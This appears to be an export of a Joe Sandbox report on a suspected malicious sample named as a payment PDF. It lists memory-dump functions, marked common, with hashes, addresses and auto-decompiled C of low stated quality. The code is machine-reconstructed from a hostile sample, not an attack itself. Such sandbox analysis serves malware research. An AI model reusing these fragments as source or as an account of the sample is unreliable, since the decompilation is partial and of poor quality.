Associated: 00000006.00000002.88738890102.000000003356D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_33440000_PAYNOW_2023_08_002783pdf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 681e1c8119beac957b097f73b024ff1545f8c108db7db82795e6bce3c3e79430
Instruction ID: 85f02332e4f5cd9f76530bfff92f2b548a490aefb91e5e00730e932c2c97a5c0
Opcode Fuzzy Hash: 681e1c8119beac957b097f73b024ff1545f8c108db7db82795e6bce3c3e79430
Instruction Fuzzy Hash: A0F0F0766447855AF3049B99CC00B6272CBEB80755F28C02BEA048B691EE729C42825C

Uniqueness

Uniqueness Score: -1.00%

Function 335432C9 Relevance: .0, Instructions: 38
COMMON

Download Yara Rule

C-Code - Quality: 55%

			E335432C9(void* __ecx) {
				char _v8;
				char _v12;
				char _v16;
				intOrPtr _t15;
				char _t17;
				void* _t23;

				_t22 = __ecx;
				_t23 = __ecx;
				L3351A810("true",  &_v8,  &_v16);
				_t15 = L33485D90(_t22,  *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _v8);
				 *((intOrPtr*)(_t23 + 0x134)) = _t15;
				if(_t15 != 0) {
					_t17 =  *((intOrPtr*)(_t23 + 0x8c)) +  *((intOrPtr*)(_t23 + 0x8c));
					_push("true");
					_push(0x1000);
					 *((intOrPtr*)(_t23 + 0x13c)) = _t17;
					_v12 = _t17;
					_push( &_v12);
					_push(0);
					_push(_t23 + 0x138);
					_push(0xffffffff);
					return E334B2B10();
				}
				return 0xc0000017;
			}

0x335432c9
0x335432d5
0x335432de
0x335432f1
0x335432f6
0x335432fe
0x3354330d
0x3354330f
0x33543311
0x33543316
0x3354331c
0x33543322
0x33543323
0x3354332b
0x3354332c
0x00000000
0x3354332e
0x00000000

Memory Dump Source

Source File: 00000006.00000002.88738890102.0000000033440000.00000040.00001000.00020000.00000000.sdmp, Offset: 33440000, based on PE: true

Associated: 00000006.00000002.88738890102.0000000033569000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.88738890102.000000003356D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_33440000_PAYNOW_2023_08_002783pdf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6204972ff3b380f720e05b2ecc519c88e41dbe2758d314eba0478bbef22976ee
Instruction ID: fc1c35368d797deee4330f8c7923cd41726417683ede28c69dc477d7703839f9
Opcode Fuzzy Hash: 6204972ff3b380f720e05b2ecc519c88e41dbe2758d314eba0478bbef22976ee
Instruction Fuzzy Hash: E7F06272A00304BFEB11DB64DC41FDAB7FCEB04714F044566B955E7190EA70EA50CBA4

Uniqueness

Uniqueness Score: -1.00%

Function 334FC51D Relevance: .0, Instructions: 36
COMMON

Download Yara Rule

C-Code - Quality: 48%

			E334FC51D(intOrPtr __ecx, intOrPtr _a4, signed int _a8) {
				signed int _v8;
				intOrPtr _v20;
				signed int _v24;
				intOrPtr _v28;
				short _v54;
				signed char* _t15;
				intOrPtr _t21;
				intOrPtr _t27;
				intOrPtr _t28;
				signed int _t29;
				signed int _t31;

				_t31 = (_t29 & 0xfffffff8) - 0x38;
				_v8 =  *0x3356b370 ^ _t31;
				_t26 = _a8;
				_v54 = 0xd24;
				_v28 = _a4;
				_v24 = _a8;
				_v20 = __ecx;
				if(L33483C40() == 0) {
					_t15 = 0x7ffe038e;
				} else {
					_t15 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x234;
				}
				_push(_t31);
				_push(0xc);
				_push(0x20402);
				_push( *_t15 & 0x000000ff);
				return E334B4B50(L334B2F90(), _t21, _v24 ^ _t31, _t26, _t27, _t28);
			}

0x334fc525
0x334fc52f
0x334fc533
0x334fc53b
0x334fc543
0x334fc547
0x334fc54b
0x334fc556
0x334fc568
0x334fc558
0x334fc561
0x334fc561
0x334fc573
0x334fc574
0x334fc576
0x334fc57b
0x334fc58f

Memory Dump Source

Source File: 00000006.00000002.88738890102.0000000033440000.00000040.00001000.00020000.00000000.sdmp, Offset: 33440000, based on PE: true

Associated: 00000006.00000002.88738890102.0000000033569000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.88738890102.000000003356D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_33440000_PAYNOW_2023_08_002783pdf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bc41db11e31618ad7991a359676520e07361818e014112a55fffd7d59d0f2bb9
Instruction ID: 7e40b23f98cbd800fe9be62acee95d587ef5ca118dd0aef2869a3fc33281f13a
Opcode Fuzzy Hash: bc41db11e31618ad7991a359676520e07361818e014112a55fffd7d59d0f2bb9
Instruction Fuzzy Hash: 87F0C8706053049FC714DF28C441E1BB7E4EF88B04F44465EB8A8DB380E635E901C79A

Uniqueness

Uniqueness Score: -1.00%

Function 33545149 Relevance: .0, Instructions: 35
COMMON

Download Yara Rule

C-Code - Quality: 48%

			E33545149(intOrPtr __ecx, intOrPtr __edx, intOrPtr _a4, intOrPtr _a8) {
				signed int _v8;
				intOrPtr _v12;
				intOrPtr _v16;
				intOrPtr _v20;
				intOrPtr _v24;
				short _v50;
				char _v56;
				signed char* _t18;
				intOrPtr _t24;
				intOrPtr _t30;
				intOrPtr _t31;
				signed int _t32;

				_t29 = __edx;
				_v8 =  *0x3356b370 ^ _t32;
				_v16 = __ecx;
				_v50 = 0x1c2c;
				_v24 = _a4;
				_v20 = _a8;
				_v12 = __edx;
				if(L33483C40() == 0) {
					_t18 = 0x7ffe0386;
				} else {
					_t18 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x22c;
				}
				_push( &_v56);
				_push(0x10);
				_push(0x402);
				_push( *_t18 & 0x000000ff);
				return E334B4B50(L334B2F90(), _t24, _v8 ^ _t32, _t29, _t30, _t31);
			}

0x33545149
0x33545158
0x33545160
0x33545163
0x3354516a
0x33545170
0x33545173
0x3354517d
0x3354518f
0x3354517f
0x33545188
0x33545188
0x3354519a
0x3354519b
0x3354519d
0x335451a2
0x335451b3

Memory Dump Source

Source File: 00000006.00000002.88738890102.0000000033440000.00000040.00001000.00020000.00000000.sdmp, Offset: 33440000, based on PE: true

Associated: 00000006.00000002.88738890102.0000000033569000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.88738890102.000000003356D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_33440000_PAYNOW_2023_08_002783pdf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8a157e7a8e656ebee429753f0a22bf8c03d6c6e76378e9dda317ac4f057a1cde
Instruction ID: dce5916454d7ee36334da739f25a5e8860915a4fa4a3e3a0208e88dcdf259f0a
Opcode Fuzzy Hash: 8a157e7a8e656ebee429753f0a22bf8c03d6c6e76378e9dda317ac4f057a1cde
Instruction Fuzzy Hash: 01F04F74E00348AFDB04DFA8D945A9EB7F4EF08304F504469B945EB380EA74DA00CB58

Uniqueness

Uniqueness Score: -1.00%

Function 334A0774 Relevance: .0, Instructions: 35
COMMON

Download Yara Rule

C-Code - Quality: 67%

			E334A0774(signed int** __edx, void* __eflags) {
				char _v8;
				void* __ecx;
				signed int* _t9;
				void* _t11;
				void* _t12;
				signed int* _t13;
				signed int** _t20;

				_push(_t11);
				_v8 = 0x10;
				_push( &_v8);
				_t20 = __edx;
				_t12 = 0x10;
				if(E334694A3(_t12, _t11) < 0) {
					L4:
					_t9 = 0;
				} else {
					_t9 = L33485D90(_t12,  *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _v8);
					if(_t9 == 0) {
						goto L4;
					} else {
						 *_t9 =  *_t9 & 0x00000000;
						_t13 =  &(_t9[2]);
						 *_t13 = 1;
						_t9[2] = 0;
						 *_t20 = _t13;
					}
				}
				return _t9;
			}

0x334a0779
0x334a077e
0x334a0785
0x334a0786
0x334a078c
0x334a0794
0x334a07c6
0x334a07c6
0x334a0796
0x334a07a4
0x334a07ab
0x00000000
0x334a07ad
0x334a07ad
0x334a07b0
0x334a07b6
0x334a07bb
0x334a07bf
0x334a07bf
0x334a07ab
0x334a07c3

Memory Dump Source

Source File: 00000006.00000002.88738890102.0000000033440000.00000040.00001000.00020000.00000000.sdmp, Offset: 33440000, based on PE: true

Associated: 00000006.00000002.88738890102.0000000033569000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.88738890102.000000003356D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_33440000_PAYNOW_2023_08_002783pdf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1b7835e4d6d6559359274cfa51e41153a2ed1920ea28c928af81b6d046f1638e
Instruction ID: 503145ab7af32b81f04dfc2b2001a812050bfdf98bd27de275399db5afc6ec38
Opcode Fuzzy Hash: 1b7835e4d6d6559359274cfa51e41153a2ed1920ea28c928af81b6d046f1638e
Instruction Fuzzy Hash: 8FF0E272A10304AFE314CF25CC05F86B3E9EFA8754F248078D844DB2A0FAB5DE01CA18

Uniqueness

Uniqueness Score: -1.00%

Function 3352F247 Relevance: .0, Instructions: 33
COMMON

Download Yara Rule

C-Code - Quality: 46%

			E3352F247(intOrPtr __ecx, intOrPtr __edx, intOrPtr _a4) {
				signed int _v8;
				intOrPtr _v12;
				intOrPtr _v16;
				intOrPtr _v20;
				short _v46;
				char _v52;
				signed char* _t15;
				intOrPtr _t21;
				intOrPtr _t27;
				intOrPtr _t28;
				signed int _t29;

				_t26 = __edx;
				_v8 =  *0x3356b370 ^ _t29;
				_v12 = _a4;
				_v20 = __ecx;
				_v16 = __edx;
				_v46 = 0x1024;
				if(L33483C40() == 0) {
					_t15 = 0x7ffe0380;
				} else {
					_t15 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x226;
				}
				_push( &_v52);
				_push(0xc);
				_push(0x20402);
				_push( *_t15 & 0x000000ff);
				return E334B4B50(L334B2F90(), _t21, _v8 ^ _t29, _t26, _t27, _t28);
			}

0x3352f247
0x3352f256
0x3352f25c
0x3352f264
0x3352f267
0x3352f26a
0x3352f275
0x3352f287
0x3352f277
0x3352f280
0x3352f280
0x3352f292
0x3352f293
0x3352f295
0x3352f29a
0x3352f2ab

Memory Dump Source

Source File: 00000006.00000002.88738890102.0000000033440000.00000040.00001000.00020000.00000000.sdmp, Offset: 33440000, based on PE: true

Associated: 00000006.00000002.88738890102.0000000033569000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.88738890102.000000003356D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_33440000_PAYNOW_2023_08_002783pdf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7c5457374e89192ace4cce81c994d2b6a7dd857505c5b482355dd23de8c58de6
Instruction ID: 62b13a36a1e021d2b82f21892c92b0b6a2c1bc5686a598ba8feae1a381c8e2a5
Opcode Fuzzy Hash: 7c5457374e89192ace4cce81c994d2b6a7dd857505c5b482355dd23de8c58de6
Instruction Fuzzy Hash: 85F06DB5E00348EFDB04DFA9E805E9EBBF4AF08304F004069B545EB381EA74D900CBA8

Uniqueness

Uniqueness Score: -1.00%

Function 3347471B Relevance: .0, Instructions: 33COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.88738890102.0000000033440000.00000040.00001000.00020000.00000000.sdmp, Offset: 33440000, based on PE: true

Associated: 00000006.00000002.88738890102.0000000033569000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.88738890102.000000003356D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_33440000_PAYNOW_2023_08_002783pdf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d4087245b0d15b3885976e7af622775fcd70a8418b84ecd46a5b9cbb15db58c6
Instruction ID: 8a39c506e0c72642e00f832711259f448edbf2fb50756c001631ea58fc78874a
Opcode Fuzzy Hash: d4087245b0d15b3885976e7af622775fcd70a8418b84ecd46a5b9cbb15db58c6
Instruction Fuzzy Hash: 92F0BEB99117949EE7128365E040BE1B7DC9F036B0F4C896AD4F8ABB51C734D8C4C659

Uniqueness

Uniqueness Score: -1.00%

Function 334AC50D Relevance: .0, Instructions: 31COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.88738890102.0000000033440000.00000040.00001000.00020000.00000000.sdmp, Offset: 33440000, based on PE: true

Associated: 00000006.00000002.88738890102.0000000033569000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.88738890102.000000003356D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_33440000_PAYNOW_2023_08_002783pdf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8a94302030bde03cb6016bc6269786142f92b03fdc8bc020ec056a25e7d432ad
Instruction ID: d86f2b1187ac28f8e4873e4a855b200feebcfabeefdc24c51289e2a5784f2cd1
Opcode Fuzzy Hash: 8a94302030bde03cb6016bc6269786142f92b03fdc8bc020ec056a25e7d432ad
Instruction Fuzzy Hash: DAF0E2F99117B49FE3D1875CC054B4177D89B196A4F89C165F445C7711C620DC81C2CC

Uniqueness

Uniqueness Score: -1.00%

Function 3352F2AE Relevance: .0, Instructions: 30
COMMON

Download Yara Rule

C-Code - Quality: 36%

			E3352F2AE(intOrPtr __ecx) {
				signed int _v8;
				intOrPtr _v12;
				short _v38;
				char _v44;
				signed char* _t11;
				intOrPtr _t17;
				intOrPtr _t22;
				intOrPtr _t23;
				intOrPtr _t24;
				signed int _t25;

				_v8 =  *0x3356b370 ^ _t25;
				_v12 = __ecx;
				_v38 = 0x102b;
				if(L33483C40() == 0) {
					_t11 = 0x7ffe0380;
				} else {
					_t11 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x226;
				}
				_push( &_v44);
				_push("true");
				_push(0x402);
				_push( *_t11 & 0x000000ff);
				return E334B4B50(L334B2F90(), _t17, _v8 ^ _t25, _t22, _t23, _t24);
			}

0x3352f2bd
0x3352f2c5
0x3352f2c8
0x3352f2d3
0x3352f2e5
0x3352f2d5
0x3352f2de
0x3352f2de
0x3352f2f0
0x3352f2f1
0x3352f2f3
0x3352f2f8
0x3352f309

Memory Dump Source

Source File: 00000006.00000002.88738890102.0000000033440000.00000040.00001000.00020000.00000000.sdmp, Offset: 33440000, based on PE: true

Associated: 00000006.00000002.88738890102.0000000033569000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.88738890102.000000003356D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_33440000_PAYNOW_2023_08_002783pdf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a64c430e8b6c7663eb330334abcd90e8971d9955e0b325840d3727ee5d8db869
Instruction ID: a90c5c293e8384c2bdea4f7acef38c2038e423d29aeb4fff03c2248d9100ef40
Opcode Fuzzy Hash: a64c430e8b6c7663eb330334abcd90e8971d9955e0b325840d3727ee5d8db869
Instruction Fuzzy Hash: 99F08275A00348AFDB04DBA9E856E5E77F8AF08704F500098F641EB3C0D974E901C76C

Uniqueness

Uniqueness Score: -1.00%

Function 334A7128 Relevance: .0, Instructions: 30COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.88738890102.0000000033440000.00000040.00001000.00020000.00000000.sdmp, Offset: 33440000, based on PE: true

Associated: 00000006.00000002.88738890102.0000000033569000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.88738890102.000000003356D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_33440000_PAYNOW_2023_08_002783pdf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 114bfe846d285bc9e88a4f475a73c756e4268b030b3c9567ab3975077086aae1
Instruction ID: 3b167abf5b7cbae3b86c7cba93867f2d06f7d074d44e9803bc7e0a466e067d88
Opcode Fuzzy Hash: 114bfe846d285bc9e88a4f475a73c756e4268b030b3c9567ab3975077086aae1
Instruction Fuzzy Hash: D7F02775F117908FE710C329D144B0177D9EB407B2F8D8461D82887B02C328ECC0C298

Uniqueness

Uniqueness Score: -1.00%

Function 3354505B Relevance: .0, Instructions: 30
COMMON

Download Yara Rule

C-Code - Quality: 36%

			E3354505B(intOrPtr __ecx) {
				signed int _v8;
				intOrPtr _v12;
				short _v38;
				char _v44;
				signed char* _t11;
				intOrPtr _t17;
				intOrPtr _t22;
				intOrPtr _t23;
				intOrPtr _t24;
				signed int _t25;

				_v8 =  *0x3356b370 ^ _t25;
				_v12 = __ecx;
				_v38 = 0x1c2f;
				if(L33483C40() == 0) {
					_t11 = 0x7ffe0386;
				} else {
					_t11 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x22c;
				}
				_push( &_v44);
				_push("true");
				_push(0x402);
				_push( *_t11 & 0x000000ff);
				return E334B4B50(L334B2F90(), _t17, _v8 ^ _t25, _t22, _t23, _t24);
			}

0x3354506a
0x33545072
0x33545075
0x33545080
0x33545092
0x33545082
0x3354508b
0x3354508b
0x3354509d
0x3354509e
0x335450a0
0x335450a5
0x335450b6

Memory Dump Source

Source File: 00000006.00000002.88738890102.0000000033440000.00000040.00001000.00020000.00000000.sdmp, Offset: 33440000, based on PE: true

Associated: 00000006.00000002.88738890102.0000000033569000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.88738890102.000000003356D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_33440000_PAYNOW_2023_08_002783pdf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f1b4c20e87a3e878e66997a15efcf06e51903aeda9f09279633703bc3a71488b
Instruction ID: aaca8ef9c1a25b04e40fecfbf59f0a3501eb060ad572aced38e94919ab04c1f2
Opcode Fuzzy Hash: f1b4c20e87a3e878e66997a15efcf06e51903aeda9f09279633703bc3a71488b
Instruction Fuzzy Hash: E7F08274A00348AFDB04DBB9E555E5E77F8AF08704F500898B545EB280EA74D9008768

Uniqueness

Uniqueness Score: -1.00%

Function 3352F717 Relevance: .0, Instructions: 30COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.88738890102.0000000033440000.00000040.00001000.00020000.00000000.sdmp, Offset: 33440000, based on PE: true

Associated: 00000006.00000002.88738890102.0000000033569000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.88738890102.000000003356D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_33440000_PAYNOW_2023_08_002783pdf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ec876910977ca202012305e48e22b4737a08ccb29d9185526539c3ce8203d660
Instruction ID: 2bc2455e3a793f0551e52bd1838c1210e076625d146436fa76d9cccc1aff3394
Opcode Fuzzy Hash: ec876910977ca202012305e48e22b4737a08ccb29d9185526539c3ce8203d660
Instruction Fuzzy Hash: 37F08275A00348AFDF04DBA9E955E5E77F8AF08704F440098F641EB2C0D974D9008768

Uniqueness

Uniqueness Score: -1.00%

Function 3352F7CF Relevance: .0, Instructions: 30COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.88738890102.0000000033440000.00000040.00001000.00020000.00000000.sdmp, Offset: 33440000, based on PE: true

Associated: 00000006.00000002.88738890102.0000000033569000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.88738890102.000000003356D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_33440000_PAYNOW_2023_08_002783pdf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ddb346384f76d901361f4e188cc4edd47515bed980aa8e2ef7c46a65959c188c
Instruction ID: 3d427f1db87753f22807ab8069b4e7eaf7842c82f25ac6e3aae69de5a4371fbf
Opcode Fuzzy Hash: ddb346384f76d901361f4e188cc4edd47515bed980aa8e2ef7c46a65959c188c
Instruction Fuzzy Hash: 67F08271F00348AFDB04DBA9E555E5EB7F8AF08704F40009CF541EB2C0E974D9018768

Uniqueness

Uniqueness Score: -1.00%

Function 334A174A Relevance: .0, Instructions: 29COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.88738890102.0000000033440000.00000040.00001000.00020000.00000000.sdmp, Offset: 33440000, based on PE: true

Associated: 00000006.00000002.88738890102.0000000033569000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.88738890102.000000003356D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_33440000_PAYNOW_2023_08_002783pdf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c39e15b2427d95bb6012bad55f72816f77454b7fb035339970df605add202f4e
Instruction ID: 90d197dea2b1c29b069a1a85a565eeeeca43637ec4a4371ad1bafff8afb9013e
Opcode Fuzzy Hash: c39e15b2427d95bb6012bad55f72816f77454b7fb035339970df605add202f4e
Instruction Fuzzy Hash: D1E09276A419216BD2519F1CEC00F6673EDEBE4651F0A4439F944DB214DA29DD02C7E4

Uniqueness

Uniqueness Score: -1.00%

Function 33470630 Relevance: .0, Instructions: 28COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.88738890102.0000000033440000.00000040.00001000.00020000.00000000.sdmp, Offset: 33440000, based on PE: true

Associated: 00000006.00000002.88738890102.0000000033569000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.88738890102.000000003356D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_33440000_PAYNOW_2023_08_002783pdf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7fb8b229e0179ed1d94183841a0f137a63d66d46d99527f7ccba905b47740c18
Instruction ID: 74d24e56b93259f69e6148700e10445eb88d27a057f01fa750a085aec87bed54
Opcode Fuzzy Hash: 7fb8b229e0179ed1d94183841a0f137a63d66d46d99527f7ccba905b47740c18
Instruction Fuzzy Hash: 22F0E57A2053409FD715CF11D050AC57BE8EFA53A0F040094EC698B361DB36E881C749

Uniqueness

Uniqueness Score: -1.00%

Function 33543336 Relevance: .0, Instructions: 27
COMMON

Download Yara Rule

C-Code - Quality: 55%

			E33543336(void* __ecx) {
				signed int _v8;
				intOrPtr* _t8;
				void* _t14;

				_push(__ecx);
				_t14 = __ecx;
				_t7 =  *((intOrPtr*)(__ecx + 0x134));
				if( *((intOrPtr*)(__ecx + 0x134)) != 0) {
					E33483BC0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _t7);
				}
				_t8 = _t14 + 0x138;
				if( *_t8 != 0) {
					_v8 = _v8 & 0x00000000;
					_push(0x8000);
					_push( &_v8);
					_push(_t8);
					_push(0xffffffff);
					_t8 = E334B2B90();
				}
				return _t8;
			}

0x3354333b
0x3354333d
0x3354333f
0x33543347
0x33543355
0x33543355
0x3354335a
0x33543363
0x33543365
0x3354336c
0x33543371
0x33543372
0x33543373
0x33543375
0x33543375
0x3354337c

Memory Dump Source

Source File: 00000006.00000002.88738890102.0000000033440000.00000040.00001000.00020000.00000000.sdmp, Offset: 33440000, based on PE: true

Associated: 00000006.00000002.88738890102.0000000033569000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.88738890102.000000003356D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_33440000_PAYNOW_2023_08_002783pdf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c0008614389e4c6b7c8f3a5444dc37d698eba2a91f3b45f08bbf5d080c4fc888
Instruction ID: 94c0abaccf5b8d49cfcbd86643b1f4cb966b098dcfb219752bafadbea67cba1f
Opcode Fuzzy Hash: c0008614389e4c6b7c8f3a5444dc37d698eba2a91f3b45f08bbf5d080c4fc888
Instruction Fuzzy Hash: 9EE06DB2510200BFEB25CB48DD01FA673ACEB10720F580258B125960E0EBB0FE40C664

Uniqueness

Uniqueness Score: -1.00%

Function 33472500 Relevance: .0, Instructions: 23COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.88738890102.0000000033440000.00000040.00001000.00020000.00000000.sdmp, Offset: 33440000, based on PE: true

Associated: 00000006.00000002.88738890102.0000000033569000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.88738890102.000000003356D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_33440000_PAYNOW_2023_08_002783pdf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 029f0b2b045e9a2e79db440b8b7519947266a4b71ff2b0b9b87340cbd17c9ea4
Instruction ID: 3d7d9ba3404ee019e88ec4fd01eeeb792cd3e52d94187043e91c6fa0d21c56a5
Opcode Fuzzy Hash: 029f0b2b045e9a2e79db440b8b7519947266a4b71ff2b0b9b87340cbd17c9ea4
Instruction Fuzzy Hash: 6AE09272500A549FC721AB28DC01F9A77A9EF50360F004118F1665B9A1CA30A911CBD8

Uniqueness

Uniqueness Score: -1.00%

Function 334681EB Relevance: .0, Instructions: 21COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.88738890102.0000000033440000.00000040.00001000.00020000.00000000.sdmp, Offset: 33440000, based on PE: true

Associated: 00000006.00000002.88738890102.0000000033569000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.88738890102.000000003356D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_33440000_PAYNOW_2023_08_002783pdf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 114db9202c54257abf2526529968dd102c67066819c003b1d4cdd2b3c6882db7
Instruction ID: a605b8dc5ea2336aa92b0bdf2737b66b9e1ae73e0885fa8240c824c212745d58
Opcode Fuzzy Hash: 114db9202c54257abf2526529968dd102c67066819c003b1d4cdd2b3c6882db7
Instruction Fuzzy Hash: 01E08C35440710EFEB311F24DC00F8177A9EF08B55F24046EE0D62A9A18AB59882DA8C

Uniqueness

Uniqueness Score: -1.00%

Function 3346B502 Relevance: .0, Instructions: 17COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.88738890102.0000000033440000.00000040.00001000.00020000.00000000.sdmp, Offset: 33440000, based on PE: true

Associated: 00000006.00000002.88738890102.0000000033569000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.88738890102.000000003356D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_33440000_PAYNOW_2023_08_002783pdf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c583dce7c6f581c5b0a3768414c357600350311837f1921a9e10f15296612cb1
Instruction ID: 74bb9f3d84862aa837452fec145044a69977bc17518578976c114b6d019dfa79
Opcode Fuzzy Hash: c583dce7c6f581c5b0a3768414c357600350311837f1921a9e10f15296612cb1
Instruction Fuzzy Hash: C3D05E32451720AEC7721F19ED15F927BB5AF40F18F05052DB1051A9F186A1ED85C698

Uniqueness

Uniqueness Score: -1.00%

Function 3346A093 Relevance: .0, Instructions: 15COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.88738890102.0000000033440000.00000040.00001000.00020000.00000000.sdmp, Offset: 33440000, based on PE: true

Associated: 00000006.00000002.88738890102.0000000033569000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.88738890102.000000003356D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_33440000_PAYNOW_2023_08_002783pdf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cd39b431740b0d27950a5382705b11406bf46ab810de4961f59ef8eab177e8e3
Instruction ID: 421820e45862dd068962b226e545d567ef7920097daeaa2a716b73fd0aa50235
Opcode Fuzzy Hash: cd39b431740b0d27950a5382705b11406bf46ab810de4961f59ef8eab177e8e3
Instruction Fuzzy Hash: B8D022B230293097CB281F446910F5379449B80B94F0A002C780983900C4018C43C3E4

Uniqueness

Uniqueness Score: -1.00%

Function 334AA750 Relevance: .0, Instructions: 14COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.88738890102.0000000033440000.00000040.00001000.00020000.00000000.sdmp, Offset: 33440000, based on PE: true

Associated: 00000006.00000002.88738890102.0000000033569000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.88738890102.000000003356D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_33440000_PAYNOW_2023_08_002783pdf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5864ed2f3896c9ef293a2b15130b013708e0d33e54b768a67b2e33eeb472f52c
Instruction ID: 7fc669d7d5aece512222f0edd180b39251ec959bde861642539fa4333adf97e9
Opcode Fuzzy Hash: 5864ed2f3896c9ef293a2b15130b013708e0d33e54b768a67b2e33eeb472f52c
Instruction Fuzzy Hash: 15D0127B1D064CBBCB119F65DC01F957BA9E794B60F044020B5188B5A1DA3AE951D584

Uniqueness

Uniqueness Score: -1.00%

Function 334801C0 Relevance: .0, Instructions: 12COMMON

Download Yara Rule

